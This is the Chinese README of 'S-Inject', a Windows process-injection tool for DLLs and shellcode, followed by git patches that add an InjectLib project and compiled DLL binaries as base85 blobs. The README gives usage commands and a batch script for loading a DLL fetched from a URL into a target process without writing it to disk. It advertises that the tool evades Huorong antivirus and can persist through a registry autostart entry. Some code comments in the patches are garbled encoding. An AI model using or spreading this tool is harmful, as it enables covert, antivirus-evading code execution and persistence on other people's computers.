![image-20250219105558106](./README.assets/image-20250219105558106.png) - -- [2025-2-17] V2.2更新 - - 1. 新增远程URL进行Get请求加载DLL,可以实现dll文件不落地加载dll,由于依赖反射式注入,所以dll的格式应该与反射式注入的相同,格式为:https://github.com/stephenfewer/ReflectiveDLLInjection - - ![image-20250217173155506](./README.assets/image-20250217173155506.png) - - 2. 添加参数可以快速完成注入 - - `-method`:使用的注入方法 - - - `rmtdll`:远程线程注入DLL - - `refdll`:反射式注入DLL - - `apcdll`:APC队列注入DLL - - - `net`:从网络加载DLL注入DLL - - `rmtsc`:远程线程注入Shellcode - - `apcsc`:APC队列注入Shellcode - - `ctxsc`:上下文注入Shellcode - - `-proc`:注入进程的名字 - - `-path`:dll的文件路径、dll的url(http开头)、base64后的shellcode - - `-pid`:进程`PID` - - 用例 - - ``` - .\S-Inject_x86_gui.exe -method net -proc "x32dbg" -path "http://127.0.0.1/reflective_x86.dll" - ``` - - ![image-20250217193111847](./README.assets/image-20250217193111847.png) - - 可以据此编写对应的bat脚本来实现自动注入,如这里的`test.bat` - - ``` - @echo off - D:\Github\S-inject\Release\S-Inject.exe -method net -proc "x32dbg" -path "http://127.0.0.1/reflective_x86.dll" - pause - ``` - - 这样双击该bat脚本即可向`x32dbg`的进程使用`网络加载`注入url为`http://127.0.0.1/reflective_x86.dll`的dll - -- [2024-6-6] V2.1更新 - - 1. Docking,拖拽可以重新排版 - - ![image-20240606124658850](./README.assets/image-20240606124658850.png) - - 2. ImGUI窗口排版通过`imgui.ini`保存,可参考我的排版(ini文件位于bin中,使用时放于同一目录下) - - ![image-20240606224950591](./README.assets/image-20240606224950591.png) - -# 免杀效果 - -远程shellcode注入等功能可免杀火绒,VNC无感,可注册表添加开机自启动 - -![image-20240216112653373](./README.assets/image-20240216112653373.png) - -![image-20240216113029381](./README.assets/image-20240216113029381.png) - -![image-20240216113432922](./README.assets/image-20240216113432922.png) - -![image-20240216113917066](./README.assets/image-20240216113917066.png) - -# 支持功能 - -![image-20240205124826998](./README.assets/image-20240205124826998.png) - -**DLL注入** - -- 远程线程注入 -- 反射式注入 -- APC调度注入 - -**Shellcode注入** - -- 远程线程注入 -- APC调度注入 -- Context上下文注入 - -**可注入进程遍历** - -# 使用 - -1.x版本(无图像化界面)使用说明见:`oldREADME.md` - -![image-20250217193433513](./README.assets/image-20250217193433513.png) - -直接勾选对应功能,选择DLL/Shellcode,和对应进程的PID - -image-20240520101608876 - -![image-20240520101704029](./README.assets/image-20240520101704029.png) - -最后点击`start`开始注入 - - - - +- **[2025-4-6]** **重要:** 新创建分支(branch):mcp,今后的MCP server和lib(dll)版本在这个分支下 diff --git a/X-Inject.sln b/X-Inject.sln index c68db15..81e30d0 100644 --- a/X-Inject.sln +++ b/X-Inject.sln @@ -3,7 +3,9 @@ Microsoft Visual Studio Solution File, Format Version 12.00 # Visual Studio Version 17 VisualStudioVersion = 17.9.34902.65 MinimumVisualStudioVersion = 10.0.40219.1 -Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "X-Inject", "X-Inject\X-Inject.vcxproj", "{1360A187-B6B2-474B-904A-7DCCA715E16B}" +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "S-Inject", "X-Inject\X-Inject.vcxproj", "{1360A187-B6B2-474B-904A-7DCCA715E16B}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "InjectLib", "InjectLib\InjectLib.vcxproj", "{DAE5DCC7-F89A-4265-AA2B-BBF9FB48C96E}" EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution @@ -21,6 +23,14 @@ Global {1360A187-B6B2-474B-904A-7DCCA715E16B}.Release|x64.Build.0 = Release|x64 {1360A187-B6B2-474B-904A-7DCCA715E16B}.Release|x86.ActiveCfg = Release|Win32 {1360A187-B6B2-474B-904A-7DCCA715E16B}.Release|x86.Build.0 = Release|Win32 + {DAE5DCC7-F89A-4265-AA2B-BBF9FB48C96E}.Debug|x64.ActiveCfg = Debug|x64 + {DAE5DCC7-F89A-4265-AA2B-BBF9FB48C96E}.Debug|x64.Build.0 = Debug|x64 + {DAE5DCC7-F89A-4265-AA2B-BBF9FB48C96E}.Debug|x86.ActiveCfg = Debug|Win32 + {DAE5DCC7-F89A-4265-AA2B-BBF9FB48C96E}.Debug|x86.Build.0 = Debug|Win32 + {DAE5DCC7-F89A-4265-AA2B-BBF9FB48C96E}.Release|x64.ActiveCfg = Release|x64 + {DAE5DCC7-F89A-4265-AA2B-BBF9FB48C96E}.Release|x64.Build.0 = Release|x64 + {DAE5DCC7-F89A-4265-AA2B-BBF9FB48C96E}.Release|x86.ActiveCfg = Release|Win32 + {DAE5DCC7-F89A-4265-AA2B-BBF9FB48C96E}.Release|x86.Build.0 = Release|Win32 EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE diff --git a/X-Inject/app/utils/query.hpp b/X-Inject/app/utils/query.hpp index 310dfa2..8f7f994 100644 --- a/X-Inject/app/utils/query.hpp +++ b/X-Inject/app/utils/query.hpp @@ -1,7 +1,7 @@ #pragma once #include #include -// NtQuerySystemInformation ָ +// ���� NtQuerySystemInformation ����ָ������ typedef enum _KWAIT_REASON { Executive, FreePage, @@ -51,7 +51,7 @@ typedef NTSTATUS(WINAPI* fnNtQuerySystemInformation)( ULONG SystemInformationLength, PULONG ReturnLength); -// SYSTEM_PROCESS_INFORMATION ṹ +// ���� SYSTEM_PROCESS_INFORMATION �ṹ typedef struct _SYSTEM_THREADS { LARGE_INTEGER KernelTime; LARGE_INTEGER UserTime; From b08aead438e728de487d6bcdd0f4c5cb6a3a7d1e Mon Sep 17 00:00:00 2001 From: joe1sn Date: Sun, 6 Apr 2025 11:04:06 +0800 Subject: [PATCH 2/2] update binary file --- InjectLib/InjectLib.vcxproj | 20 ++++++++++++++++---- bin/InjectLib_x64.dll | Bin 0 -> 35328 bytes bin/InjectLib_x86.dll | Bin 0 -> 27136 bytes 3 files changed, 16 insertions(+), 4 deletions(-) create mode 100644 bin/InjectLib_x64.dll create mode 100644 bin/InjectLib_x86.dll diff --git a/InjectLib/InjectLib.vcxproj b/InjectLib/InjectLib.vcxproj index e1dcc46..6c3019f 100644 --- a/InjectLib/InjectLib.vcxproj +++ b/InjectLib/InjectLib.vcxproj @@ -72,15 +72,19 @@ InjectLib + false InjectLib + false InjectLib + false InjectLib + false @@ -93,9 +97,11 @@ Windows - true + false false d3d11.lib;Crypt32.lib;wininet.lib;$(CoreLibraryDependencies);%(AdditionalDependencies) + + @@ -113,9 +119,11 @@ Windows true true - true + false false d3d11.lib;Crypt32.lib;wininet.lib;$(CoreLibraryDependencies);%(AdditionalDependencies) + + @@ -129,9 +137,11 @@ Windows - true + false false d3d11.lib;Crypt32.lib;wininet.lib;$(CoreLibraryDependencies);%(AdditionalDependencies) + + @@ -149,9 +159,11 @@ Windows true true - true + false false d3d11.lib;Crypt32.lib;wininet.lib;$(CoreLibraryDependencies);%(AdditionalDependencies) + + diff --git a/bin/InjectLib_x64.dll b/bin/InjectLib_x64.dll new file mode 100644 index 0000000000000000000000000000000000000000..0f1b015203e9dcdacae3d6a562787e40dcae5214 GIT binary patch literal 35328 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 